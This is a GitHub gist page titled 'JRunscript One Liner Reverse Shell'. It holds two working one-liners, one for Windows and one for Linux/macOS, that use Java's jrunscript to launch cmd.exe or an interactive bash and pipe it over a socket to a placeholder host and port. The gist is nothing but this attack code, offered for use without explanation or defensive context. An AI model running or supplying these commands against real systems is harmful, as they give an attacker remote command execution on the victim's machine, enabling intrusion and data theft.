Skip to content

Instantly share code, notes, and snippets.

@h4wkst3r

h4wkst3r/jrunscript_one_liner_rev_shell.txt Secret

Last active May 22, 2018 23:21
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save h4wkst3r/2c2cae2e3a32bf64576d5faa01f2df8e to your computer and use it in GitHub Desktop.
Save h4wkst3r/2c2cae2e3a32bf64576d5faa01f2df8e to your computer and use it in GitHub Desktop.
Download ZIP
JRunscript One Liner Reverse Shell
Raw
jrunscript_one_liner_rev_shell.txt
//Windows
jrunscript -e "var host='x.x.x.x'; var port=1234; var cmd='cmd.exe'; var p=new java.lang.ProcessBuilder(cmd).redirectErrorStream(true).start();var s=new java.net.Socket(host,port);var pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while( pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();java.lang.Thread.sleep(50);try {p.exitValue();break;}catch (e){}};p.destroy();s.close();"
//Linux & macOS
jrunscript -e 'var host="x.x.x.x"; var port=1234; var cmd="/bin/bash"; var p=new java.lang.ProcessBuilder(cmd, "-i").redirectErrorStream(true).start();var s=new java.net.Socket(host,port);var pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while( pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();java.lang.Thread.sleep(50);try {p.exitValue();break;}catch (e){}};p.destroy();s.close();'
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment